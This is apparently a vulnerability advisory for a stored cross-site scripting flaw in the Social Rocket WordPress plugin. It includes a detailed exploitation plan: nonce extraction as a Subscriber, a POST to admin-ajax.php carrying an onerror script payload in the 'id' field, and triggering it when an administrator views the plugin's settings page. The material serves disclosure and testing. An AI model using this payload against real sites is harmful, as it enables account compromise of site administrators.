Social Rocket – Social Sharing Plugin <= 1.3.4.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting via id
Description
The Social Rocket – Social Sharing Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘id’ parameter in all versions up to, and including, 1.3.4.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.3.4.2What Changed in the Fix
Changes introduced in v1.3.5
Source Code
WordPress.org SVNThis research plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the Social Rocket plugin (<= 1.3.4.2). The vulnerability allows a Subscriber-level user to inject malicious scripts via the `id` parameter in a settings-save AJAX action, which then executes whe…
Show full research plan
This research plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the Social Rocket plugin (<= 1.3.4.2). The vulnerability allows a Subscriber-level user to inject malicious scripts via the id parameter in a settings-save AJAX action, which then executes when an administrator views the Click to Tweet settings page.
1. Vulnerability Summary
- ID: CVE-2026-1923
- Vulnerability: Authenticated Stored XSS
- Vulnerable Parameter:
id - Affected Endpoint:
wp-admin/admin-ajax.phpvia thesocial_rocket_tweet_settings_saveaction. - Cause: The plugin registers AJAX handlers for managing "Click to Tweet" settings/styles but fails to perform capability checks (like
current_user_can('manage_options')). Additionally, it stores theidparameter with insufficient sanitization and later outputs it in the admin interface without proper escaping.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
social_rocket_tweet_settings_save - Authentication: Required (Subscriber or higher)
- Payload Parameter:
id - Vulnerable Context: The
idis used as a key or identifier for custom Click to Tweet styles and is rendered in the admin dashboard (likely within the "Click to Tweet" settings tab).
3. Code Flow
- Registration:
Social_Rocket_Admin::__construct(inadmin/includes/class-social-rocket-admin.php) registers several AJAX actions, includingsocial_rocket_tweet_settings_save. - Access: These actions are registered using
wp_ajax_, making them accessible to any logged-in user. - Lack of Authorization: The handler function
tweet_settings_save(and others liketweet_settings_update) likely verifies a nonce but lacks acurrent_user_cancheck. - Storage: The
idparameter is received from$_POST['id']and saved into the WordPress options table (likely within an array undersocial_rocket_settingsorsocial_rocket_tweet_styles). - Sink: When an administrator navigates to Social Rocket > Click to Tweet, the plugin retrieves the saved styles and iterates through them. The
idis printed into the HTML (e.g., as part of a list or a data-attribute) without usingesc_attr()oresc_html().
4. Nonce Acquisition Strategy
The plugin localizes a JavaScript object named socialRocketAdmin in the WordPress admin area. This object contains the necessary nonce.
- Preparation: Since the plugin enqueues its admin scripts on all admin pages (including the user profile), a Subscriber can access it.
- Navigation: Use the browser to log in as a Subscriber and navigate to
/wp-admin/profile.php. - Extraction: Use
browser_evalto extract the nonce from thesocialRocketAdminobject.- Variable Name:
socialRocketAdmin - Nonce Key:
nonce(verifiable viabrowser_eval("window.socialRocketAdmin")) - Action String: Likely
social_rocket_nonceor similar (localized in thenoncekey).
- Variable Name:
5. Exploitation Strategy
- Login: Authenticate as a Subscriber user.
- Nonce Extraction:
- Navigate to
/wp-admin/profile.php. - Execute:
NONCE = browser_eval("window.socialRocketAdmin.nonce").
- Navigate to
- Injection: Send a POST request to
admin-ajax.phpto save a malicious "tweet style".- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=social_rocket_tweet_settings_save &nonce=[EXTRACTED_NONCE] &id=style-"><img src=x onerror=alert(document.domain)> &settings[tweet_text]=Test &settings[tweet_username]=testuser
- URL:
- Triggering: Log in as an Administrator and navigate to the plugin settings:
- URL:
/wp-admin/admin.php?page=social_rocket_click_to_tweet
- URL:
6. Test Data Setup
- User: A user with the
subscriberrole. - Plugin State: Ensure Social Rocket is active. No existing "Click to Tweet" styles are required, as the exploit creates one.
7. Expected Results
- The AJAX request should return a success response (likely a JSON object with
success: true). - The payload
style-"><img src=x onerror=alert(document.domain)>will be stored in the database. - When an administrator views the "Click to Tweet" settings page, an alert box showing the document domain will appear.
8. Verification Steps
- Database Check: Use WP-CLI to inspect the stored settings:
Confirm that thewp option get social_rocket_tweet_settings --format=jsonidkey in the settings array contains the malicious payload. - HTML Inspection: Use
http_requestas an administrator to fetch the settings page and check for the unescaped payload:# Look for the onerror attribute in the response body http_request(url="http://localhost:8080/wp-admin/admin.php?page=social_rocket_click_to_tweet")
9. Alternative Approaches
- Shortcode Context: If the
idis also echoed when the[social_rocket_tweet id="..."]shortcode is used on the frontend, check if the injection triggers for any user viewing a post containing that shortcode. tweet_settings_update: Ifsaveis restricted, attempt thesocial_rocket_tweet_settings_updateaction, which likely follows the same vulnerable pattern.- Parameter Variation: If the
idparameter itself is escaped, check if keys inside thesettingsarray (e.g.,settings[tweet_text]) are also unescaped when rendered in the admin preview.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.